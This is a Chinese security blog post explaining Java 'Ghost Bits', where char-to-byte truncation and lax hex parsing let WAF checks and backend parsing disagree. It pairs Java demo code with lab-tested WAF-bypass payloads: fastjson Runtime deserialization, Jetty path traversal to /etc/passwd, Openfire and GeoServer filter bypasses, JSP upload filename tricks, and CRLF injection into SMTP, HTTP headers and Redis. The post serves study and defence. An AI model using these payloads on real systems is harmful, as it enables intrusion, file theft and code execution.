Java Ghost Bit解析与利用

1次阅读
没有评论

共计 5297 个字符,预计需要花费 14 分钟才能阅读完成。

最近安全圈子里面出现了一个很火的漏洞 GhostBit,与其说是漏洞,我觉得叫一种通用绕过手法更合适

传统 waf 是对请求内容进行理解并分析内容,然后再进行拦截。
更有甚者只是简单的正则匹配,而这种方法正是传统 waf 的短板之一。
一旦攻击者对请求进行编码或者利用 waf 与后端解析不一致的特性,这个时候 waf 往往不能做到有效的拦截,而这次的 Java Ghost Bit 就是利用了 waf 与后端解析不一致的特性来实现 waf 绕过。

Ghost Bits 是什么 / 原理又是什么

在计算机底层,所有数据都是由 0 和 1(Bits)组成的。所谓“幽灵位”,是指攻击者通过巧妙构造的一段字节序列,使得:

  • WAF/ 防火墙(中间人): 将其视为普通的、无意义的填充数据,甚至是协议层面的结束符,从而直接放行。

  • Java 虚拟机 (JVM): 将其视为有效的指令、参数或加密签名的组成部分。

在 @浅蓝和 @1ue 分享的议题中,Java 中的 GhostBits 就是指
Ghost Bits 主要指的是在某些类型转换过程中被不小心丢掉的高位,导致原字符串内容变化。

比如


public class test {public static void main(String[] args) {  
        char a = 'u032e';  
        System.out.println((byte)a);  //46

    }  
}

char 类型是 16 位(2 字节),byte 类型是 8 位(1 字节),如果发生 char 强制转换为 byte 就会丢弃高 8 位,只保留低 8 位。其中的 8 位就像幽灵一样消失了。

最后可以看到打印出来的是 46 对应的刚好是.

Java Ghost Bit 解析与利用
目前已知的会存在这种现象的有

  • (byte) ch:显式的 byte 强制类型转化
  • ch & 0xFF:位掩码,保留低 8 位
  • OutputStream.write(int):写入流时被截断
  • DataOutputStream.writeBytes():官方 JDK 方法,在文档中明确写明会丢弃高 8 位

我们用实际的例子来演示,比如 fastjson:
Java Ghost Bit 解析与利用
这是一段 fastjson 的 @type 的 payload,传统 waf 肯定是可以拦截的

{"@type":"java.lang.Runtime"}

但是我们利用 ghost bit 后这段 payload 就变成了

{"uc340uce74u2c79u6170uc965":"u656au6661ub076uab61.ub56cud461u836eue267.u8b52u2775ue46eud174ua669u0a6duc165"}

从 ghost bit 理论上来讲既然前八位是被舍弃的,那我们可以通过一直变化前八位来一直变换 payload。
比如:

{"u0340u0274u0379u0470u0265":"u046au0161u0476u0261.u016cu0361u036eu0367.u0352u0175u016eu0474u0269u046du0365"}
{"u8c40u7974u5479u7970u7965":"u9d6au9461u6776u6d61.u666cu9e61u886eu9467.u5052u7875u6c6eu7174u5d69u6b6du8c65"}
{"uc340uce74u2c79u6170uc965":"u656au6661ub076uab61.ub56cud461u836eue267.u8b52u2775ue46eud174ua669u0a6duc165"}

我们来看下演示代码

public class test {public static void main(String[] args) {  
    char c1 = '꘠';  
    char c2 = '๐';  
    char c3 = '๔';  
    char c4 = '੦';  
    int val= Integer.parseInt(new String(new char[]{c1,c2,c3,c4}),16);  
    System.out.println((char)val);  
    }  
}

可以看到漏洞点在于 parseInt 以及(char)val
Java 会将他们分别转换成 0,0,4,0 而 0x0040 对应的刚好是@
以此类推我们就可以弄出 payload
{"u꘠๐๔੦type:uxxx....}

实战利用:

CVE-2025-41242(Jetty 目录穿越)

参考:https://lorexxar.cn/2026/04/29/java-ghost-bits/

环境:https://github.com/vulhub/vulhub/tree/master/spring/CVE-2025-41242
按照 readme 自行搭建即可

靶场里面自带 payload,或者是也可以自行生成 payload
GET / 踮鼥奵渰吰吲鵥 / 鄮琥極褰逰尲步 / 瘮蘥聵霰丰耲湥 / 戮樥併怰鈰餲艥 / 昮匥罵瀰脰録彥 / 餮甥併鄰蠰礲佥 / 愮鐥轵茰锰鴲祥 /etc/passw%64 HTTP/1.1

Java Ghost Bit 解析与利用
原理:
漏洞本质就是利用了 Spring 框架因 Jetty URI 解析不一致的问题

对于 Spring 框架的 StringUtils.uriDecode 方法

Java Ghost Bit 解析与利用

遇到 % 时会做专门的处理,并调用 ByteArrayOutputStream.write 导致了高位 bit 丢失,出现 Ghost Bits 漏洞。

阮严灵丰丰甲来 会被转为.%u002e

这个输入在 Spring 层面,不但可以通过 isInvalidPath/isInvalidEncodedPath 的路径检查,还不会被识别为正常的 %u 编码,全部放行

传递到 Jetty 中,URIUtil.encodePathSafeEncoding却会将 %u002e 做 unicode 解码转为.,最终构造成为../
[Java Ghost Bit 解析与利用

CVE-2023-32315/CVE-2024-36401 bypass

严格来说我觉得这并不是 ghost bit 的范围,这应该算是 Jetty 中 url 解码器范围过宽导致的绕过

环境:https://github.com/vulhub/vulhub/tree/master/openfire/CVE-2023-32315

/setup/setup-a/%u002e%u002e/%u002e%u002e/log.jsp其中 %u002e 会被解析成.
基本上现在的 waf 都能防御这个 poc,但是 jetty 有个离谱的地方是他会把 > 当作 URL 编码处理

public static byte convertHexDigit(byte c) {byte b = (byte)((c & 0x1f) + ((c >> 6) * 0x19) - 0x10);  
    if (b < 0 || b > 15)  
        throw new NumberFormatException("!hex" + c);  
    return b;  
}

>依旧会经过这一套算法,最终获得结果是 14,对应E
waf 收到的请求是 %2> 不合法的 url 编码不做处理,jetty 把他处理转为了 %2E 成功输入 . 绕过 waf
/setup/setup-a/%2>%2>/%2>%2>/log.jsp

同理:CVE-2024-36401 是 GeoServer 的一个远程代码执行漏洞
Java Ghost Bit 解析与利用
假设 waf 过滤了 Runtime,我们可以用 > 代替 e 进行绕过Ru%6>time->Ru%6etime->Runtime

jackson SQL 注入 bypass waf

Java Ghost Bit 解析与利用
在 Jackson 里面会有一个 chartohex 方法导致了 ghost bit
当我们输入 u 丰丰耳失 的时候,后面四个汉字分别被转换成 0x30,0x30,0x33 和 0x31, 对应的字符是 0031
u0031 对应的刚好是1,再依次类推就可以得到 SQL 注入的 payload

fastjson @type 绕 waf

Java Ghost Bit 解析与利用

{"@type":"java.lang.Runtime"}
{"ɀŴŹɰť":"Ūѡɶ͡.ɬɡѮɧ.ђŵͮɴѩɭť"}
{"捀扴项轰噥":"聪蕡鵶顡. 譬孡置赧. 孒豵鹮筴睩筭恥"}
{"蕀ꕴ靹葰ꝥ":"陡略멡. 幬๡蝮.荮Ṵ癩㥭⡥"}
{"u0240u0174u0179u0270u0165":"u016au0461u0276u0361.u026cu0261u046eu0267.u0452u0175u036eu0274u0469u026du0165"}
{"u0640u1174u1f79u1570uf365":"u4e6aub461u5e76ue561.u666cu6a61u936eue567.u1d52u1875u886eub574uc469uf76du5a65"}
{"u6340u6274u9879u8f70u5665":"u806au8561u9d76u9861.u8b6cu5b61u7f6eu8d67.u5b52u8c75u9e6eu7b74u7769u7b6du6065"}

fastjson 的 parseInt 会将字符转换成数字再结合 u 形成 unicode 字符导致绕过

比如这里

public class test {public static void main(String[] args) {  
    char c1 = '꘠';  
    char c2 = '๐';  
    char c3 = '๔';  
    char c4 = '੦';  
    int val= Integer.parseInt(new String(new char[]{c1,c2,c3,c4}),16);  
    System.out.println((char)val);  
    }  
}

编码后各自变成 0040, 而 u0040 就是符号@
同理我们还可以通过 x40 来绕过,比如 _ 经过函数后变成0

tomcat 文件上传绕过

对于黑名单的文件上传我们可以使用 ghost bit 绕过 waf 检测上传 jsp 文件,比如

//1.jsp
1. 罪 sp
1. 赪 sp
1.Ѫsp
1.u8d6asp
等

不同的框架需要的 ghost bit 是不同的
Java Ghost Bit 解析与利用

绕目录穿越 waf

Java Ghost Bit 解析与利用
这里 2 和 2 不是很好分辨,建议自己看 PPT

BASE64 绕过

import sun.misc.BASE64Decoder;  

import java.io.IOException;  

public class test {public static void main(String[] args) throws IOException {  
        // 1. 准备 Base64 编码的字符串  
        String encodedString = "MXVl";  
        String encodedString2 = "ōŘŖŬ";  

        // 2. 执行解码(返回 byte 数组)byte[] decodedBytes = new BASE64Decoder().decodeBuffer(encodedString);  
        byte[] decodedBytes2 = new BASE64Decoder().decodeBuffer(encodedString2);  
        // 3. 将字节数组转换回字符串并输出  
        String decodedString = new String(decodedBytes);  
        String decodedString2 = new String(decodedBytes2);  
        System.out.println("解码后的结果 1:" + decodedString);  
        System.out.println("解码后的结果 2:" + decodedString2);  
    }  
}
/*
解码后的结果 1: 1ue
解码后的结果 2: 1ue
*/

可以用于绕过 base64 检测的 waf

CVE-2025-7962 SMTP 请求头注入

既然可以通过 ghost bit 伪造其他字符,那当然也可以伪造 rn,向底层 SMTP 会话里插入新的命令边界
Java Ghost Bit 解析与利用

public class test2 {public static void main(String[] args) {  
        char a='瘍';  
        char b='瘊';  
        byte b1 = (byte) a;  
        byte b2 = (byte) b;  
        System.out.println(b1);  

    System.out.println(b2);}  
}
/*
13
10
*/

可以实现

  • SMTP 命令注入
  • 借官方系统发出伪造内容邮件
  • 让收件人看到“发件人真实、域名真实、链路真实”的钓鱼邮件
  • 绕过企业邮箱注册限制,把外部地址伪装成内部地址处理
    等操作
    Java Ghost Bit 解析与利用

HTTP 请求头注入

既然涉及到 CRLF 了,那么 HTTP 请求头注入也肯定是有的。
只要 HTTP 请求头存在用户可控的地方那么就可能存在 HTTP 请求头注入
比如存在

response.setHeader("X-User", username);

假设我们的用户名是 admin 瘍瘊 xxx:xxx;
就可以注入我们自定义的 http 请求头

结合 CSRF 攻击 redis

  • Redis 的 RESP 协议依赖 rn 作为边界,注入后可以开启新的命令
  • XML / HTML 如果先做了转义、后面又发生一次错误的 char -> byte 截断,转义就可能被“重新打穿”
  • 最终攻击面可以落到 Redis 指令注入、XML 污染甚至 XSS
    如果攻击者能够额外恢复出一组 rn,那就不只是污染一个参数,而是有机会“新开一条命令”。
    这里没有例子就不再演示
正文完
 0
Rycarl
版权声明:本站原创文章,由 Rycarl 于2026-05-07发表,共计5297字。
转载说明:除特殊说明外本站文章皆由CC-4.0协议发布,转载请注明出处。
评论(没有评论)
验证码